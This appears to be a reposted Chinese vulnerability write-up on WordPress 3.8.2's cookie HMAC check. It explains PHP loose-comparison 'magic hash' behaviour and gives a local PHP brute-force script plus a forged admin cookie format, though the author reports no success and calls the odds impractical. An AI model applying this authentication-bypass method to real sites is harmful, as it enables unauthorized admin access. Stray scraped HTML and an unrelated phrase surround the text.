<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/1409

            0x00 背景


            看了WordPress 3.8.2補丁分析 HMAC timing attack,眼界大開,原來還可以利用時間差來判斷HMAC。

            但我總覺得這個漏洞并不是簡單的修復這個問題。

            查看了官方提供的資料:“該漏洞是由WordPress的安全團隊成員Jon Cave發現。”。

            也許漏洞還有這樣利用的可能。

            0x01 PHP的特性


            當PHP在進行 ”==”,”!=”等非嚴格匹配的情況下,會按照值的實際情況,進行強制轉換。

            #!php
            <?php
            var_dump(0 == '0'); // true
            var_dump(0 == 'abcdefg'); // true  
            var_dump(0 === 'abcdefg'); // false
            var_dump(1 == '1abcdef'); // true  
            ?>
            

            當有一個對比參數是整數的時候,會把另外一個參數強制轉換為整數。

            0x02 分析修復的代碼


            官方版的diff只在php里改動了一個位置:

            #!diff
            <?php
            -  if ( $hmac != $hash ) {  
            +  if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) { 
            ?>
            

            其中$hmac來源于cookies。是我們可控的一個輸入參數。

            #!php
            <?php
            Admin|1397564163|1f253e501c301bf5bf293c40d7d92ded
            //$username = ‘Admin’;
            //$expiration = 1397564163;
            //$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
            ?>
            

            $hash是以下代碼生成一個md5值。

            #!php
            <?php
            $key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
            $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
            ?>
            

            $hmac == $hash 時,登錄成功。

            那么,有幾種情況會登錄成功。

            #!php
            <?php
            //第一種情況,完全相等。
            $hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
            $hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
            //第二種情況.第一位為數字,第二位為字母
            $hmac = 1;
            $hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
            //第三種情況。第一位為字母
            $hmac = 0;
            $hash = ‘af253e501c301bf5bf293c40d7d92ded’;
            ?>
            

            很明顯,第三種出現的情況非常大。

            那么我們有沒有可能把$hmac構造成一個整數0呢?

            0x03 漏洞利用


            我們看看cookie解析的代碼:

            #!php
            <?php
                $cookie_elements = explode('|', $cookie);
                if ( count($cookie_elements) != 3 )
                    return false;
                list($username, $expiration, $hmac) = $cookie_elements;
            ?>
            

            當我們把cookie設置為:

            Admin|1397564163|1
            

            時。$hmac=’1’。但是,$hmac是字符串1,而不是整數1。

            #!php
            <?php
            var_dump($hmac);//string(“1”);
            ?>
            

            非常遺憾,這個漏洞是不能利用的。

            難道官方修復的真的不是這個漏洞?

            0x04 柳暗花明又一村


            還有什么情況能讓字符串識別成整數嗎?是的,還有!

            #!php
            <?php
            var_dump("0" == "0e1234567890123456...32"); // true
            ?>
            

            ‘e’會識別為次方,0的N次方為0;

            所以,這個漏洞的利用方式還可以是: 讓$hmac = ‘0’;

            通過改變$expiration來改變$hash。獲得一個,第一位為0,第二位為e,后面所有位為數字的$hash.

            #!php
            <?php
            $hmac = ‘0’;
            $hash = ‘0e1234567890123456...32’;
            var_dump($hmac == $hash);  // true
            ?>
            

            0x05 攻擊代碼


            本地測試代碼(實際攻擊代碼應該是構造cookies遠程請求):

            #!php
            <?php
                include( 'wp-load.php' );
            
                $user = get_userdata(1);
                $username = $user->user_login;
                $pass_frag = substr($user->user_pass, 8, 4);
            
                $expiration = 9999999999; //設置一個很大的過期時間,然后遞減
            
                while($expiration >0){
                    $key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
                    $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
                    if('0' == $hash OR '1'== $hash ){
                        echo $expiration.'@'.$hash;
                        file_put_contents('done.txt',$expiration.'@'.$hash);
                        exit();
                    }
                    $expiration -= 1;//過期時間-1
                    echo $expiration.'@'.$hash."\r\n";
                }
            ?>
            

            通過改變過期時間,嘗試碰撞到可以利用的hash。

            按照理論值。碰撞到可以利用的$expiration幾率是(2110^30)/(16^32)。也就是5.8774717541114 * 10 -9。

            理論上:把cookies設置成 “admin|碰撞到的過期時間|0”,就可以登陸后臺了。

            但是幾率太小,還不如窮舉密碼了。

            Ps:我本地跑了幾個小時了,還沒遇到一個。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线